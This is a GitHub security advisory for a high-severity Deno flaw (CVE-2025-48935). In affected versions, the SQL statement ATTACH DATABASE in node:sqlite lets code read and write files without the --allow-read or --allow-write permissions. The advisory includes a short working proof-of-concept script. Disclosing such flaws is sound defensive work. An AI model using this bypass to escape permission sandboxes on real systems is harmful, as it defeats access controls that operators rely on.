Skip to content

--allow-read / --allow-write permission bypass in `node:sqlite`

High
bartlomieju published GHSA-8vxj-4cph-c596 Jun 3, 2025

Package

deno

Affected versions

>= 2.2.0

Patched versions

>= 2.2.5

Description

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

Severity

High

CVE ID

CVE-2025-48935

Weaknesses

No CWEs

Credits